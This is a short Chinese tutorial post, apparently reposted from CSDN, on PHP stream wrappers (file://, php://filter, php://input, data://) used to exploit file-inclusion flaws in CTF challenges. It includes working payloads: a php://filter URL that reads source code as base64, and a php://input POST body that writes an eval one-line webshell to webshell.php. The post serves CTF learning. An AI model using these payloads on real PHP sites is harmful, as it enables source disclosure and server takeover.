ctf常见php,CTF中常见的PHP伪协议
发布日期:2021-06-24 10:53:23 浏览次数:5 分类:技术文章

本文共 984 字,大约阅读时间需要 3 分钟。

内容纲要

一、PHP伪协议简介:PHP 支持的协议与封装协议。

二、CTF中常见的PHP伪协议。

file:// — 访问本地文件系统

php:// — 访问各个输入/输出流(I/O streams)

data:// — 数据(RFC 2397)glob:// — 查找匹配的文件路径模式

三、PHP伪协议的利用。

file://的利用

对本地文件进行访问,eg:url?filepath=file:///c:/

2、php://的利用,可能需要存在文件包含漏洞

php://filter/convert.base64-encode/resource=filepath

利用条件:不需要allow_url_fopen、allow_url_include开启

简介:以base64加密的形式读取页面源代码,然后在再对代码进行base64解密就可以得到源代码,eg:url?filepath=php://filter/convert.base64-encode/resource=filepath

CTF实例:在newbugku_web3里面对首页进行代码审计,发现get中需要传递?op=参数,即构造url?op=php://filter/convert.base64-encode/resource=flag,再对得到的内容进行base64解密即得到flag。

php://input[data]

利用条件:需要allow_url_include开启

简介:其中data为需要提交的数据,提交后会以PHP代码形式执行,可以构建上传一句话木马。Eg:url?file=php://input,post提交的data:

<?php fputs(fopen("webshell.php","w"),'<?php eval($_POST["cc"];?>');?>(将一句话写入webshell.php)

CTF实例暂时还没遇到

3、data://的利用

data://text/plain;base64,data(data为base64编码后的数据)

利用条件:需要allow_url_fopen、allow_url_include都开启

简介:如果data传入的数据为PHP代码,就会以PHP代码形式解析数据,可以实现写入一句话或者辅助构造XSS。

CTF实例暂时还没遇到

转载地址:https://blog.csdn.net/weixin_32306771/article/details/115515619 如侵犯您的版权,请留言回复原文章的地址,我们会给您删除此文章,给您带来不便请您谅解!

上一篇:php语言冒泡法,PHP 冒泡排序法
下一篇:java常用包类 array,Java中的StringBuffer和数组Arrays以及常用类型的包装类

发表评论

最新留言

路过,博主的博客真漂亮。。
[***.116.15.85]2024年04月04日 10时32分49秒